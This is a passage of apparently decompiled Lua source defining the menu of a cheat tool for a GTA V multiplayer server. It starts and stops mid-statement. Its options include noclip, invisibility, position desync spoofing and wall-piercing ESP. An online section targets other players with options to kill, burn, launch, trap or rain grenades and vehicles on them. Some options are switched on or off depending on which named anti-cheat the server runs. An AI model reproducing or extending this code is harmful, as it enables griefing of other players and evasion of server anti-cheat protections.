Roof", "DJ", "Air Synth", "Impatient" }, default = 1, toggleVar = "noclipModeEnabled", defaultToggle = false, toggleFunc = "applyNoclipModeToggle", onChangeFunc = "applyNoclipModeOnChange", keybindName = "Toggle NoClip Mode", keybindIdentifier = "NOCLIP_MODE_TOGGLE", description = "Choose a noclip mode and toggle it on or off while noclip is active" } pendingMenuEntry28 = { name = "Slider Mode", type = "toggle", var = "sliderMode", func = "toggleSliderMode", silentToggle = true, description = "Enables smooth sliding movement instead of walking", sliderVar = "sliderModeSpeed", sliderMin = 0.5, sliderMax = 10.0, sliderStep = 0.5, sliderDefault = 0.5, sliderSuffix = "x", sliderOnChangeFunc = "applySliderModeSpeed", disableHoldAcceleration = true } local runSpeedOption = { name = "Run Speed", type = "toggle", var = "runSpeed", func = "toggleRunSpeed", silentToggle = true, description = "Increases your running and sprinting speed", sliderVar = "runSpeedMult", sliderMin = 1, sliderMax = 10, sliderStep = 1, sliderDefault = 1, sliderSuffix = "x", sliderOnChangeFunc = "applyRunSpeed", disableHoldAcceleration = true } local spinBotOption = { name = "Spin Bot", type = "toggle", var = "spinBot", func = "toggleSpinBot", silentToggle = true, description = "Spins you or your vehicle rapidly while you can still move normally" } local superJumpOption = { name = "Super Jump", type = "toggle", var = "superJump", silentToggle = true, description = "Very high jump when pressing Space on foot" } local miscellaneousOption = { name = "Miscellaneous", type = "seperator" } local invisibilityOption = { name = "Invisibility", type = "selectorToggle", var = "invisibilityMode" } pendingMenuEntry35 = { "Normal", "Full" } invisibilityOption.choices = pendingMenuEntry35 invisibilityOption.default = 1 invisibilityOption.toggleVar = "invisibilityEnabled" invisibilityOption.defaultToggle = false invisibilityOption.toggleFunc = "applyInvisibility" invisibilityOption.onChangeFunc = "applyInvisibilityMode" invisibilityOption.keybindName = "Toggle Invisibility" invisibilityOption.keybindIdentifier = "INVISIBILITY_TOGGLE" invisibilityOption.description = "Choose Normal or Full invisibility" local tinyPedOption = { name = "Tiny Ped", type = "toggle", var = "tinyPed", func = "toggleTinyPed", silentToggle = true, description = "Shrinks your character" } pendingMenuEntry35 = { name = "Seatbelt", type = "toggle", var = "seatbelt", silentToggle = true, description = "Never fall off bikes or get ejected from vehicles" } local fakeDeadOption = { name = "Fake Dead", type = "toggle", var = "fakeDead", silentToggle = true, description = "Makes you appear dead to other players" } local desyncOption = { name = "Desync", type = "toggle", func = "toggleDesyncName", var = "desyncName", description = "Others cannot see you; spoofs your position for other players" } local soloSessionOption = { name = "Solo Session", type = "toggle", func = "toggleSoloSession", var = "soloSession", description = "Start or end a solo tutorial session" } local noRagdollOption = { name = "No Ragdoll", type = "toggle", var = "noRagdoll", silentToggle = true, description = "Prevents your character from ragdolling when hit" } pendingMenuEntry40 = { name = "No Fall Damage", type = "toggle", var = "noFallDamage", silentToggle = true, description = "Prevents taking damage from falling" } local infiniteStaminaOption = { name = "Infinite Stamina", type = "toggle", var = "infiniteStamina", silentToggle = true, description = "Gives you unlimited stamina for running and swimming" } pendingMenuEntry25[1] = noClipOption pendingMenuEntry25[2] = noClipModeOption pendingMenuEntry25[3] = pendingMenuEntry28 pendingMenuEntry25[4] = runSpeedOption pendingMenuEntry25[5] = spinBotOption pendingMenuEntry25[6] = superJumpOption pendingMenuEntry25[7] = miscellaneousOption pendingMenuEntry25[8] = invisibilityOption pendingMenuEntry25[9] = tinyPedOption pendingMenuEntry25[10] = pendingMenuEntry35 pendingMenuEntry25[11] = fakeDeadOption pendingMenuEntry25[12] = desyncOption pendingMenuEntry25[13] = soloSessionOption pendingMenuEntry25[14] = noRagdollOption pendingMenuEntry25[15] = pendingMenuEntry40 pendingMenuEntry25[16] = infiniteStaminaOption pendingMenuEntry23.options = pendingMenuEntry25 pendingMenuEntry24 = { name = "Wardrobe" } end pendingMenuEntry26 = {} pendingMenuEntry27 = { name = "Outfit", type = "selector", func = "changeNormalOutfit", var = "normalOutfit", keybindName = "Outfit Toggle", keybindIdentifier = "OUTFIT_TOGGLE" } pendingMenuEntry29 = function() return menu.functions.getNormalOutfitChoices() end pendingMenuEntry27.choices = pendingMenuEntry29 pendingMenuEntry27.description = "Change your outfit to various preset costumes" do local adminOutfitsOption = { name = "Admin Outfits", type = "selector", func = "changeAdminOutfit", var = "adminOutfit", keybindName = "Outfit Toggle", keybindIdentifier = "OUTFIT_TOGGLE" } pendingMenuEntry30 = { "White", "Black", "Red", "Yellow", "Blue", "Green", "Gray", "White Yellow", "White Green", "White Orange", "White Purple", "White Pink" } adminOutfitsOption.choices = pendingMenuEntry30 adminOutfitsOption.description = "Change your outfit to admin-themed colors" local randomOutfitOption = { name = "Random Outfit", type = "button", func = "changeRandomOutfit", description = "Randomly select an outfit for yourself" } local skinEditorOption = { name = "Skin Editor", type = "submenu" } pendingMenuEntry32 = {} local function skinSlider(optionName, variable, maximum, description, minimum) return { name = optionName, type = "slider", onChangeFunc = "setSkinComponent", var = variable, min = minimum or 0, max = maximum, step = 1, suffix = "", description = description } end local faceOption = skinSlider("Face", "skinFace", 45, "Change your character's face appearance") local skinOption = skinSlider("Skin", "skinSkin", 45, "Change your character's skin tone") local hairOption = skinSlider("Hair", "skinHair", 73, "Change your character's hairstyle") local hairColor1Option = skinSlider("Hair Color 1", "skinHairColor1", 63, "Change your character's primary hair color") local hairColor2Option = skinSlider("Hair Color 2", "skinHairColor2", 63, "Change your character's secondary hair color") local torso1Option = skinSlider("Torso 1", "skinTorso1", 200) local torso2Option = skinSlider("Torso 2", "skinTorso2", 20) local armsOption = skinSlider("Arms", "skinArms", 20) pendingMenuEntry41 = skinSlider("T-Shirt 1", "skinTshirt1", 200) pendingMenuEntry42 = skinSlider("T-Shirt 2", "skinTshirt2", 20) pendingMenuEntry43 = skinSlider("Pants 1", "skinPants1", 200) pendingMenuEntry44 = skinSlider("Pants 2", "skinPants2", 20) pendingMenuEntry45 = skinSlider("Shoes 1", "skinShoes1", 200) pendingMenuEntry46 = skinSlider("Shoes 2", "skinShoes2", 20) pendingMenuEntry47 = skinSlider("Mask 1", "skinMask1", 200) pendingMenuEntry48 = skinSlider("Mask 2", "skinMask2", 20) pendingMenuEntry49 = skinSlider("Bulletproof 1", "skinBproof1", 200) pendingMenuEntry50 = skinSlider("Bulletproof 2", "skinBproof2", 20) pendingMenuEntry51 = skinSlider("Bags 1", "skinBags1", 200) pendingMenuEntry52 = skinSlider("Bags 2", "skinBags2", 20) pendingMenuEntry53 = skinSlider("Decals 1", "skinDecals1", 200) pendingMenuEntry54 = skinSlider("Decals 2", "skinDecals2", 20) pendingMenuEntry55 = skinSlider("Chain 1", "skinChain1", 200) pendingMenuEntry56 = skinSlider("Chain 2", "skinChain2", 20) pendingMenuEntry57 = skinSlider("Helmet 1", "skinHelmet1", 200, nil, -1) pendingMenuEntry58 = skinSlider("Helmet 2", "skinHelmet2", 20) pendingMenuEntry59 = skinSlider("Glasses 1", "skinGlasses1", 200, nil, -1) pendingMenuEntry60 = skinSlider("Glasses 2", "skinGlasses2", 20) pendingMenuEntry61 = skinSlider("Ears 1", "skinEars1", 200, nil, -1) pendingMenuEntry62 = skinSlider("Ears 2", "skinEars2", 20) pendingMenuEntry63 = skinSlider("Beard 1", "skinBeard1", 28) pendingMenuEntry64 = skinSlider("Beard 2", "skinBeard2", 63) pendingMenuEntry65 = skinSlider("Beard 3", "skinBeard3", 63) eyebrowsStyleOption = skinSlider("Eyebrows Style", "skinEyebrowsStyle", 33, "Change eyebrows style/index") eyebrowsThicknessOption = skinSlider("Eyebrows Thickness", "skinEyebrowsThickness", 10, "Change eyebrows opacity/thickness") resetSkinOption = { name = "Reset to Default", type = "button", func = "resetSkinToDefault" } descriptionFieldName = "description" resetSkinDescription = "Reset all skin components to default values" resetSkinOption[descriptionFieldName] = resetSkinDescription pendingMenuEntry32[1] = faceOption pendingMenuEntry32[2] = skinOption pendingMenuEntry32[3] = hairOption pendingMenuEntry32[4] = hairColor1Option pendingMenuEntry32[5] = hairColor2Option pendingMenuEntry32[6] = torso1Option pendingMenuEntry32[7] = torso2Option pendingMenuEntry32[8] = armsOption pendingMenuEntry32[9] = pendingMenuEntry41 pendingMenuEntry32[10] = pendingMenuEntry42 pendingMenuEntry32[11] = pendingMenuEntry43 pendingMenuEntry32[12] = pendingMenuEntry44 pendingMenuEntry32[13] = pendingMenuEntry45 pendingMenuEntry32[14] = pendingMenuEntry46 pendingMenuEntry32[15] = pendingMenuEntry47 pendingMenuEntry32[16] = pendingMenuEntry48 pendingMenuEntry32[17] = pendingMenuEntry49 pendingMenuEntry32[18] = pendingMenuEntry50 pendingMenuEntry32[19] = pendingMenuEntry51 pendingMenuEntry32[20] = pendingMenuEntry52 pendingMenuEntry32[21] = pendingMenuEntry53 pendingMenuEntry32[22] = pendingMenuEntry54 pendingMenuEntry32[23] = pendingMenuEntry55 pendingMenuEntry32[24] = pendingMenuEntry56 pendingMenuEntry32[25] = pendingMenuEntry57 pendingMenuEntry32[26] = pendingMenuEntry58 pendingMenuEntry32[27] = pendingMenuEntry59 pendingMenuEntry32[28] = pendingMenuEntry60 pendingMenuEntry32[29] = pendingMenuEntry61 pendingMenuEntry32[30] = pendingMenuEntry62 pendingMenuEntry32[31] = pendingMenuEntry63 pendingMenuEntry32[32] = pendingMenuEntry64 pendingMenuEntry32[33] = pendingMenuEntry65 pendingMenuEntry32[34] = eyebrowsStyleOption pendingMenuEntry32[35] = eyebrowsThicknessOption pendingMenuEntry32[36] = resetSkinOption skinEditorOption.submenu = pendingMenuEntry32 pendingMenuEntry31 = { name = "Saved Outfits", type = "submenu" } pendingMenuEntry33 = {} local saveCurrentOutfitOption = { name = "Save Current Outfit", type = "button", func = "saveCurrentOutfit", description = "Save your current outfit to the panel" } local importOutfitOption = { name = "Import Outfit", type = "button", func = "importOutfit", description = "Import an outfit using a share code or link" } local loadOutfitOption = { name = "Load Outfit", type = "selector", func = "loadSavedOutfit", var = "savedOutfitSelector" } pendingMenuEntry38 = function() local choices = {} local iterator, state, initial = ipairs(menu.vars.panelOutfits or {}) for _, outfit in iterator, state, initial do table.insert(choices, outfit.name) end return choices end loadOutfitOption.choices = pendingMenuEntry38 loadOutfitOption.description = "Load a previously saved outfit" local deleteOutfitOption = { name = "Delete Outfit", type = "selector", func = "deleteSavedOutfit", var = "deleteOutfitSelector" } pendingMenuEntry39 = function() local choices = {} local iterator, state, initial = ipairs(menu.vars.panelOutfits or {}) for _, outfit in iterator, state, initial do table.insert(choices, outfit.name) end return choices end deleteOutfitOption.choices = pendingMenuEntry39 deleteOutfitOption.description = "Delete a saved outfit from the panel" pendingMenuEntry33[1] = saveCurrentOutfitOption pendingMenuEntry33[2] = importOutfitOption pendingMenuEntry33[3] = loadOutfitOption pendingMenuEntry33[4] = deleteOutfitOption pendingMenuEntry31.submenu = pendingMenuEntry33 pendingMenuEntry32 = { name = "Ped Models", type = "seperator" } pendingMenuEntry33 = { name = "Custom Ped", type = "button", func = "pedChangerByName", description = "Type a model name to change your ped" } local maleOption = { name = "Male", type = "selector", func = "pedChanger", var = "pedMaleSelector", default = 1 } pendingMenuEntry36 = function() return menu.functions.getAppearancePedChoices("male") end maleOption.choices = pendingMenuEntry36 pendingMenuEntry36 = function() return menu.functions.getPedChangerDescription("male", "pedMaleSelector") end maleOption.description = pendingMenuEntry36 local femaleOption = { name = "Female", type = "selector", func = "pedChanger", var = "pedFemaleSelector", default = 1 } pendingMenuEntry37 = function() return menu.functions.getAppearancePedChoices("female") end femaleOption.choices = pendingMenuEntry37 pendingMenuEntry37 = function() return menu.functions.getPedChangerDescription("female", "pedFemaleSelector") end femaleOption.description = pendingMenuEntry37 local storymodeOption = { name = "Storymode", type = "selector", func = "pedChanger", var = "pedStorySelector", default = 1 } pendingMenuEntry38 = function() return menu.functions.getAppearancePedChoices("story") end storymodeOption.choices = pendingMenuEntry38 pendingMenuEntry38 = function() return menu.functions.getPedChangerDescription("story", "pedStorySelector") end storymodeOption.description = pendingMenuEntry38 local animalsOption = { name = "Animals", type = "selector", func = "pedChanger", var = "pedAnimalSelector", default = 1 } pendingMenuEntry39 = function() return menu.functions.getAppearancePedChoices("animals") end animalsOption.choices = pendingMenuEntry39 pendingMenuEntry39 = function() return menu.functions.getPedChangerDescription("animals", "pedAnimalSelector") end animalsOption.description = pendingMenuEntry39 pendingMenuEntry26[1] = pendingMenuEntry27 pendingMenuEntry26[2] = adminOutfitsOption pendingMenuEntry26[3] = randomOutfitOption pendingMenuEntry26[4] = skinEditorOption pendingMenuEntry26[5] = pendingMenuEntry31 pendingMenuEntry26[6] = pendingMenuEntry32 pendingMenuEntry26[7] = pendingMenuEntry33 pendingMenuEntry26[8] = maleOption pendingMenuEntry26[9] = femaleOption pendingMenuEntry26[10] = storymodeOption pendingMenuEntry26[11] = animalsOption pendingMenuEntry24.options = pendingMenuEntry26 local teleportEntry = { name = "Teleport" } pendingMenuEntry27 = function() local options = { { name = "Teleport To", type = "selector", var = "teleportTarget", choices = { "Waypoint", "Coords" }, default = 1, func = "teleportTargetSelectorEnter", description = "Teleport to waypoint or custom coordinates" }, { name = "Teleport Back", type = "button", func = "teleportToBack", description = "Teleport back to your last saved position" }, { name = "Auto Teleport", type = "toggle", var = "autoTeleport", description = "When on: setting a waypoint on the map instantly teleports you there" }, { name = "Saved Locations", type = "seperator" } } local locationNames = { "Meeting Point", "Vehicle Shop", "Ammunation", "Airport", "Beach", "Maze Bank", "FIB Building", "Mission Row PD", "Pillbox Hospital", "Del Perro Pier", "Grove Street", "Legion Square", "LS Customs", "Mirror Park", "Vespucci Beach", "Vinewood", "Sandy Shores", "Mount Chiliad" } local iterator, state, initial = ipairs(locationNames) for _, locationName in iterator, state, initial do table.insert( options, { name = locationName, type = "button", func = "teleportToLocation", funcArg = locationName, description = "Teleport to " .. locationName } ) end local savedLocations = menu.vars.savedLocations or {} local savedIterator, savedState, savedInitial = ipairs(savedLocations) for index, location in savedIterator, savedState, savedInitial do if type(location) == "table" and location.name and location.name ~= "" then table.insert( options, { name = tostring(location.name), type = "button", func = "teleportToSavedLocationButton", funcArg = index, description = "Teleport to saved custom location" } ) end end return options end teleportEntry.options = pendingMenuEntry27 pendingMenuEntry21[1] = pendingMenuEntry22 pendingMenuEntry21[2] = pendingMenuEntry23 pendingMenuEntry21[3] = pendingMenuEntry24 pendingMenuEntry21[4] = teleportEntry pendingMenuEntry19.tabs = pendingMenuEntry21 pendingMenuEntry20 = { name = "Visual Options", type = "submenu", description = "Switch tabs with Q and E" } pendingMenuEntry22 = {} pendingMenuEntry23 = { name = "Visual" } pendingMenuEntry25 = {} pendingMenuEntry26 = { name = "Enable", type = "toggle", var = "espEnable", default = true, silentToggle = true, description = "Master toggle for ESP" } pendingMenuEntry27 = { name = "NPCs", type = "toggle", var = "npcEsp", func = "toggleNpcEsp", silentToggle = true, description = "Include NPCs in ESP" } end do local selfOption = { name = "Self", type = "toggle", var = "selfEsp", default = false, silentToggle = true, description = "Include yourself in ESP" } local excludeDeadOption = { name = "Exclude Dead", type = "toggle", var = "excludeDead", silentToggle = true, description = "Exclude dead players/NPCs" } local distanceOption = { name = "Distance", type = "numberSlider", var = "espMaxDistance", min = 100.0, max = 1000.0, step = 100.0, disableHoldAcceleration = true, default = 400.0, suffix = "m", description = "Max ESP render distance" } pendingMenuEntry25[1] = pendingMenuEntry26 pendingMenuEntry25[2] = pendingMenuEntry27 pendingMenuEntry25[3] = selfOption pendingMenuEntry25[4] = excludeDeadOption pendingMenuEntry25[5] = distanceOption pendingMenuEntry23.options = pendingMenuEntry25 pendingMenuEntry24 = { name = "Text" } pendingMenuEntry26 = {} pendingMenuEntry27 = { name = "Name", type = "selectorToggle", var = "espTextName", toggleVar = "espTextNameEnabled" } do pendingMenuEntry27.choices = { "Top", "Bottom" } pendingMenuEntry27.default = 2 pendingMenuEntry27.defaultToggle = true pendingMenuEntry27.description = "Toggle player name ESP and choose its position" end end do local groupOption = { name = "Group", type = "selectorToggle", var = "espTextGroup", toggleVar = "espTextGroupEnabled" } pendingMenuEntry30 = { "Top", "Bottom" } groupOption.choices = pendingMenuEntry30 groupOption.default = 2 groupOption.defaultToggle = true groupOption.description = "Toggle group ESP and choose its position" local iDOption = { name = "ID", type = "selectorToggle", var = "espTextId", toggleVar = "espTextIdEnabled", choices = { "Top", "Bottom" }, default = 2, defaultToggle = true, description = "Toggle ID ESP and choose its position" } local distanceOption = { name = "Distance", type = "selectorToggle", var = "espTextDistance", toggleVar = "espTextDistanceEnabled", choices = { "Top", "Bottom" }, default = 2, defaultToggle = true, description = "Toggle distance ESP and choose its position" } local weaponOption = { name = "Weapon", type = "selectorToggle", var = "espTextWeapon", toggleVar = "espTextWeaponEnabled", choices = { "Top", "Bottom" }, default = 2, defaultToggle = true, description = "Toggle weapon ESP and choose its position" } local rainbowOption = { name = "Rainbow", type = "selectorToggle", var = "espTextRainbowMode", toggleVar = "espTextRainbow", choices = { "Cycle", "Multi" }, default = 1, defaultToggle = false, description = "Rainbow ESP text. Cycle = color shifts over time, Multi = each character has a different color" } local colorsOption = { name = "Colors", type = "seperator" } local nameColorOption = { name = "Name Color", type = "colorPicker", var = "espNameColor" } pendingMenuEntry36 = { 255, 255, 255 } nameColorOption.default = pendingMenuEntry36 nameColorOption.noRainbow = true nameColorOption.description = "Name text color" local groupColorOption = { name = "Group Color", type = "colorPicker", var = "espTextGroupColor" } pendingMenuEntry37 = { 120, 200, 255 } groupColorOption.default = pendingMenuEntry37 groupColorOption.noRainbow = true groupColorOption.description = "Group text color" local deadColorOption = { name = "Dead Color", type = "colorPicker", var = "espTextDeadColor" } pendingMenuEntry38 = { 150, 150, 150 } deadColorOption.default = pendingMenuEntry38 deadColorOption.noRainbow = true deadColorOption.description = "Text color when target is dead" local invisibleColorOption = { name = "Invisible Color", type = "colorPicker", var = "espInvisibleColor" } pendingMenuEntry39 = { 255, 0, 0 } invisibleColorOption.default = pendingMenuEntry39 invisibleColorOption.noRainbow = true invisibleColorOption.description = "Text color when target is not visible" pendingMenuEntry26[1] = pendingMenuEntry27 pendingMenuEntry26[2] = groupOption pendingMenuEntry26[3] = iDOption pendingMenuEntry26[4] = distanceOption pendingMenuEntry26[5] = weaponOption pendingMenuEntry26[6] = rainbowOption pendingMenuEntry26[7] = colorsOption pendingMenuEntry26[8] = nameColorOption pendingMenuEntry26[9] = groupColorOption pendingMenuEntry26[10] = deadColorOption pendingMenuEntry26[11] = invisibleColorOption pendingMenuEntry24.options = pendingMenuEntry26 pendingMenuEntry25 = { name = "Skeleton" } pendingMenuEntry27 = {} end do local skeletonOption = { name = "Skeleton", type = "toggle", var = "espSkeleton", default = true, silentToggle = true, description = "Draw skeleton lines" } local footOption = { name = "Foot", type = "toggle", var = "espSkeletonFeet", default = false, silentToggle = true, description = "Draw foot lines on the skeleton" } local outlineOption = { name = "Outline", type = "toggle", var = "espSkeletonOutline", default = false, silentToggle = true, description = "Draw outline around skeleton lines" } local glowOption = { name = "Glow", type = "toggle", var = "espSkeletonGlow", default = false, silentToggle = true, description = "Magic-style soft glow and subtle animated sparkles on thin skeleton lines" } local highlightBehindWallOption = { name = "Highlight Behind Wall", type = "toggle", var = "espSkeletonWallHighlight", default = true, silentToggle = true, description = "Highlight players behind walls with a custom color" } local rainbowOption = { name = "Rainbow", type = "selectorToggle", var = "espSkeletonRainbowMode", toggleVar = "espSkeletonRainbow", choices = { "Cycle", "Multi" }, default = 1, defaultToggle = false, description = "Rainbow skeleton. Cycle = color shifts over time, Multi = each bone has a different color" } local colorsOption = { name = "Colors", type = "seperator" } local groupColorOption = { name = "Group Color", type = "colorPicker", var = "espSpecialGroupSkeletonColor" } pendingMenuEntry37 = { 120, 200, 255 } groupColorOption.default = pendingMenuEntry37 groupColorOption.noRainbow = true groupColorOption.description = "Skeleton color for special groups" local visibleColorOption = { name = "Visible Color", type = "colorPicker", var = "espSkeletonColor" } pendingMenuEntry38 = { 255, 255, 255 } visibleColorOption.default = pendingMenuEntry38 visibleColorOption.noRainbow = true visibleColorOption.description = "Skeleton color when visible" local deadColorOption = { name = "Dead Color", type = "colorPicker", var = "espSkeletonDeadColor" } pendingMenuEntry39 = { 150, 150, 150 } deadColorOption.default = pendingMenuEntry39 deadColorOption.noRainbow = true deadColorOption.description = "Skeleton color when target is dead" pendingMenuEntry38 = { name = "Wall Color", type = "colorPicker", var = "espSkeletonOccludedColor" } pendingMenuEntry40 = { 208, 176, 136 } pendingMenuEntry38.default = pendingMenuEntry40 pendingMenuEntry38.noRainbow = true pendingMenuEntry38.description = "Skeleton color when player is behind a wall" pendingMenuEntry27[1] = skeletonOption pendingMenuEntry27[2] = footOption pendingMenuEntry27[3] = outlineOption pendingMenuEntry27[4] = glowOption pendingMenuEntry27[5] = highlightBehindWallOption pendingMenuEntry27[6] = rainbowOption pendingMenuEntry27[7] = colorsOption pendingMenuEntry27[8] = groupColorOption pendingMenuEntry27[9] = visibleColorOption pendingMenuEntry27[10] = deadColorOption pendingMenuEntry27[11] = pendingMenuEntry38 pendingMenuEntry25.options = pendingMenuEntry27 pendingMenuEntry26 = { name = "Box" } end pendingMenuEntry28 = {} do local boxOption = { name = "Box", type = "toggle", var = "espBoxShow", default = false, silentToggle = true, description = "Show box outline" } local boxFillOption = { name = "Box Fill", type = "toggle", var = "espBoxFill", default = false, silentToggle = true, description = "Gradient fill inside box (glow from bottom, fades to top)" } local glowOption = { name = "Glow", type = "toggle", var = "espBoxGlow", default = false, silentToggle = true, description = "Soft glow on box, fill, health bar, and armor bar (like menu scrollbar)" } local healthOption = { name = "Health", type = "selectorToggle", var = "espHealthBarPos", toggleVar = "espBoxHealth", choices = { "Top", "Left", "Right", "Bottom" }, default = 4, defaultToggle = true, description = "Toggle health bar ESP and choose its position" } pendingMenuEntry33 = { name = "Armor", type = "selectorToggle", var = "espArmorBarPos", toggleVar = "espBoxArmor" } pendingMenuEntry35 = { "Top", "Left", "Right", "Bottom" } pendingMenuEntry33.choices = pendingMenuEntry35 pendingMenuEntry33.default = 4 pendingMenuEntry33.defaultToggle = false pendingMenuEntry33.description = "Toggle armor bar ESP and choose its position" local rainbowOption = { name = "Rainbow", type = "selectorToggle", var = "espBoxRainbowMode", toggleVar = "espBoxRainbow", choices = { "Cycle", "Multi" }, default = 1, defaultToggle = false, description = "Rainbow box outline. Cycle = color shifts over time, Multi = each side has a different color" } pendingMenuEntry35 = { name = "Health Mode", type = "selector", var = "espHealthBarColor", choices = { "Static", "Dynamic" }, default = 1, description = "Choose static color or health-based gradient" } local colorsOption = { name = "Colors", type = "seperator" } local groupColorOption = { name = "Group Color", type = "colorPicker", var = "espSpecialGroupBoxColor" } pendingMenuEntry39 = { 120, 200, 255 } groupColorOption.default = pendingMenuEntry39 groupColorOption.noRainbow = true groupColorOption.description = "Box color for special groups" local boxColorOption = { name = "Box Color", type = "colorPicker", var = "espBoxColor" } pendingMenuEntry40 = { 255, 255, 255 } boxColorOption.default = pendingMenuEntry40 boxColorOption.noRainbow = true boxColorOption.description = "Box outline color" local healthColorOption = { name = "Health Color", type = "colorPicker", var = "espHealthBarStaticColor" } pendingMenuEntry41 = { 0, 133, 255 } healthColorOption.default = pendingMenuEntry41 healthColorOption.noRainbow = true healthColorOption.onChangeFunc = "espHealthColorChanged" healthColorOption.description = "Static health bar color" local armorColorOption = { name = "Armor Color", type = "colorPicker", var = "espArmorColor" } pendingMenuEntry42 = { 0, 133, 255 } armorColorOption.default = pendingMenuEntry42 armorColorOption.noRainbow = true armorColorOption.description = "Armor bar color" local deadColorOption = { name = "Dead Color", type = "colorPicker", var = "espBoxDeadColor" } pendingMenuEntry43 = { 150, 150, 150 } deadColorOption.default = pendingMenuEntry43 deadColorOption.noRainbow = true deadColorOption.description = "Box color when target is dead" local invisibleColorOption = { name = "Invisible Color", type = "colorPicker", var = "espInvisibleColor" } pendingMenuEntry44 = { 255, 0, 0 } invisibleColorOption.default = pendingMenuEntry44 invisibleColorOption.noRainbow = true invisibleColorOption.description = "Box color when target is not visible" pendingMenuEntry28[1] = boxOption pendingMenuEntry28[2] = boxFillOption pendingMenuEntry28[3] = glowOption pendingMenuEntry28[4] = healthOption pendingMenuEntry28[5] = pendingMenuEntry33 pendingMenuEntry28[6] = rainbowOption pendingMenuEntry28[7] = pendingMenuEntry35 pendingMenuEntry28[8] = colorsOption pendingMenuEntry28[9] = groupColorOption pendingMenuEntry28[10] = boxColorOption pendingMenuEntry28[11] = healthColorOption pendingMenuEntry28[12] = armorColorOption pendingMenuEntry28[13] = deadColorOption pendingMenuEntry28[14] = invisibleColorOption pendingMenuEntry26.options = pendingMenuEntry28 pendingMenuEntry27 = { name = "Vehicle" } end pendingMenuEntry29 = {} do local nameOption = { name = "Name", type = "toggle", var = "vehicleEspShowName", default = false, silentToggle = true, description = "Show vehicle name" } local distanceOption = { name = "Distance", type = "toggle", var = "vehicleEspShowDistance", default = false, silentToggle = true, description = "Show distance" } local lockStateOption = { name = "Lock State", type = "toggle", var = "vehicleEspLockState", default = false, silentToggle = true, description = "Show lock status" } pendingMenuEntry29[1] = nameOption pendingMenuEntry29[2] = distanceOption pendingMenuEntry29[3] = lockStateOption pendingMenuEntry27.options = pendingMenuEntry29 pendingMenuEntry22[1] = pendingMenuEntry23 pendingMenuEntry22[2] = pendingMenuEntry24 pendingMenuEntry22[3] = pendingMenuEntry25 pendingMenuEntry22[4] = pendingMenuEntry26 pendingMenuEntry22[5] = pendingMenuEntry27 pendingMenuEntry20.tabs = pendingMenuEntry22 pendingMenuEntry21 = { name = "Online Options", type = "submenu", description = "Switch tabs with Q and E" } pendingMenuEntry23 = {} pendingMenuEntry24 = { name = "List", options = {} } pendingMenuEntry25 = { name = "Basic", options = {} } pendingMenuEntry26 = { name = "Grand" } pendingMenuEntry28 = function() return menu.functions.isServer185169NearbyVehicleMode() end pendingMenuEntry26.condition = pendingMenuEntry28 pendingMenuEntry28 = {} pendingMenuEntry29 = { name = "Blackhole", type = "toggleIndiv", func = "blackholePlayer", var = "blackholePlayer", runMultiple = false, description = "Blackhole" } end do local attachAllVehiclesOption = { name = "Attach All Vehicles", type = "button", func = "grandAttachNearbyEmptyVehicles", runMultiple = false, description = "Attach All Vehicles" } local vehicleRainOption = { name = "Vehicle Rain", type = "button", func = "grandVehicleRain", runMultiple = false, description = "Vehicle Rain" } pendingMenuEntry32 = { name = "Launch Attack", type = "button", func = "grandLaunchAttack", runMultiple = false, description = "Launch Attack" } pendingMenuEntry28[1] = pendingMenuEntry29 pendingMenuEntry28[2] = attachAllVehiclesOption pendingMenuEntry28[3] = vehicleRainOption pendingMenuEntry28[4] = pendingMenuEntry32 pendingMenuEntry26.options = pendingMenuEntry28 pendingMenuEntry27 = { name = "Advanced" } pendingMenuEntry29 = function() return not menu.functions.isServer185169NearbyVehicleMode() end pendingMenuEntry27.condition = pendingMenuEntry29 pendingMenuEntry29 = {} end do local killPlayerOption = { name = "Kill Player", type = "button", func = "killPlayer", runMultiple = false, description = "Kill" } pendingMenuEntry31 = { name = "Bite Player", type = "button", func = "knockoutBitePlayer", runMultiple = false, description = "Kill by biting" } local knockOutOption = { name = "Knock Out", type = "button", func = "tpKnockOutPlayer", runMultiple = false, description = "Teleport to you and knock out" } pendingMenuEntry34 = function() return not menu.vars.antiCheats.ElectronAC end knockOutOption.condition = pendingMenuEntry34 local grenadeRainOption = { name = "Grenade Rain", type = "button", func = "grenadeRainPlayer", runMultiple = false, description = "Rain grenades" } local firePlayerOption = { name = "Fire Player", type = "toggleIndiv", func = "firePlayer", var = "firePlayer", defaultToggle = false, runMultiple = false, description = "Burns the player" } local launchLoopOption = { name = "Launch Loop", type = "toggleIndiv", func = "launchTogglePlayer", var = "launchTogglePlayer", defaultToggle = false, runMultiple = false, description = "Continuously launch" } local blackholeOption = { name = "Blackhole", type = "toggleIndiv", func = "blackholePlayer", var = "blackholePlayer", runMultiple = false, description = "Pull in all empty vehicles like a black hole" } pendingMenuEntry37 = { name = "Cargo Rain (Risk)", type = "toggleIndiv", func = "cargoRainPlayer", var = "cargoRainPlayer", defaultToggle = false, runMultiple = false, description = "Rain cargo planes" } pendingMenuEntry39 = function() return menu.vars.antiCheats.WaveShield == true and not menu.vars.antiCheats.FiveGuard end pendingMenuEntry37.condition = pendingMenuEntry39 local stuckOption = { name = "Stuck", type = "seperator" } pendingMenuEntry40 = function() return not menu.functions.isServer185169NearbyVehicleMode() end stuckOption.condition = pendingMenuEntry40 local slidePlayerOption = { name = "Slide Player", type = "button", func = "slideRamPlayer", runMultiple = false, description = "Slide player" } pendingMenuEntry41 = function() return not menu.functions.isServer185169NearbyVehicleMode() end slidePlayerOption.condition = pendingMenuEntry41 local airStuckOption = { name = "Air Stuck", type = "button", func = "airStuck", description = "Stuck the player in the air", runMultiple = false } pendingMenuEntry42 = function() return not menu.functions.isServer185169NearbyVehicleMode() end airStuckOption.condition = pendingMenuEntry42 local stuckTeleportOption = { name = "Stuck Teleport", type = "button", func = "stuckTeleport", description = "Teleport to the void and trap there", runMultiple = false } pendingMenuEntry43 = function() return not menu.functions.isServer185169NearbyVehicleMode() end stuckTeleportOption.condition = pendingMenuEntry43 local riskOption = { name = "Risk", type = "seperator" } pendingMenuEntry44 = function() return not menu.functions.isServer185169NearbyVehicleMode() end riskOption.condition = pendingMenuEntry44 local objectRainOption = { name = "Object Rain", type = "selector", func = "rainSelector", var = "rainSelector" } pendingMenuEntry45 = { "Truck" } objectRainOption.choices = pendingMenuEntry45 objectRainOption.description = "Drop trucks from above the player" objectRainOption.runMultiple = false pendingMenuEntry45 = function() return not menu.functions.isServer185169NearbyVehicleMode() end objectRainOption.condition = pendingMenuEntry45 local planeCallOption = { name = "Plane Call", type = "selector", func = "arabAttackRain", var = "arabAttackSelector" } pendingMenuEntry46 